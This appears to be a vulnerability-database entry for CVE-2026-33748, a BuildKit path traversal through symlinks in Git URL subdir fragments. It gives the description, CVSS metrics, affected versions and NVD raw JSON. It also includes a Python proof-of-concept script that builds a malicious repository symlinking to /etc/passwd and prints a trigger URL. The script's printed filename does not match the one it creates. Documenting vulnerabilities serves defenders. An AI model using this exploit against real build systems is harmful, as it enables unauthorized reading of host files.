Security Vulnerability Report
中文
CVE-2026-33748 CVSS 7.5 HIGH

CVE-2026-33748

Published: 2026-03-27 15:16:57
Last Modified: 2026-04-20 12:37:46

Description

BuildKit is a toolkit for converting source code to build artifacts in an efficient, expressive and repeatable manner. Prior to version 0.28.1, insufficient validation of Git URL fragment subdir components may allow access to files outside the checked-out Git repository root. Possible access is limited to files on the same mounted filesystem. The issue has been fixed in version v0.28.1 The issue affects only builds that use Git URLs with a subpath component. As a workaround, avoid building Dockerfiles from untrusted sources or using the subdir component from an untrusted Git repository where the subdir component could point to a symlink.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mobyproject:buildkit:*:*:*:*:*:*:*:* - VULNERABLE
BuildKit < 0.28.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-33748 (BuildKit Path Traversal) Demonstrates the creation of a malicious Git repository to exploit the subdir validation issue. """ import os import subprocess def create_exploit_repo(): repo_name = "malicious_git_repo" if os.path.exists(repo_name): os.system(f"rm -rf {repo_name}") os.makedirs(repo_name) os.chdir(repo_name) # Initialize git repo subprocess.run(["git", "init"]) subprocess.run(["git", "config", "user.email", "[email protected]"]) subprocess.run(["git", "config", "user.name", "Attacker"]) # Create a safe directory and place a symlink inside it os.makedirs("subdir_component", exist_ok=True) # Create a symlink pointing to a sensitive file outside the repo (e.g. /etc/passwd) target_path = "/etc/passwd" try: os.symlink(target_path, "subdir_component/secret_file") print(f"[+] Created symlink: subdir_component/secret_link -> {target_path}") except OSError as e: print(f"[-] Error creating symlink: {e}") return # Commit the structure subprocess.run(["git", "add", "."]) subprocess.run(["git", "commit", "-m", "PoC for CVE-2026-33748"]) print(f"[+] Exploit repository created in './{repo_name}'") print("[+] To trigger the vulnerability in BuildKit, use a URL like:") print(f" git://github.com/attacker/{repo_name}.git#subdir=subdir_component/secret_file") if __name__ == "__main__": create_exploit_repo()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33748", "sourceIdentifier": "[email protected]", "published": "2026-03-27T15:16:57.127", "lastModified": "2026-04-20T12:37:46.220", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "BuildKit is a toolkit for converting source code to build artifacts in an efficient, expressive and repeatable manner. Prior to version 0.28.1, insufficient validation of Git URL fragment subdir components may allow access to files outside the checked-out Git repository root. Possible access is limited to files on the same mounted filesystem. The issue has been fixed in version v0.28.1 The issue affects only builds that use Git URLs with a subpath component. As a workaround, avoid building Dockerfiles from untrusted sources or using the subdir component from an untrusted Git repository where the subdir component could point to a symlink."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mobyproject:buildkit:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.28.1", "matchCriteriaId": "393ED789-1B13-4B78-8AFB-290B67EE2A8A"}]}]}], "references": [{"url": "https://docs.docker.com/build/concepts/context/#url-fragments", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/moby/buildkit/releases/tag/v0.28.1", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/moby/buildkit/security/advisories/GHSA-4vrq-3vrq-g6gg", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}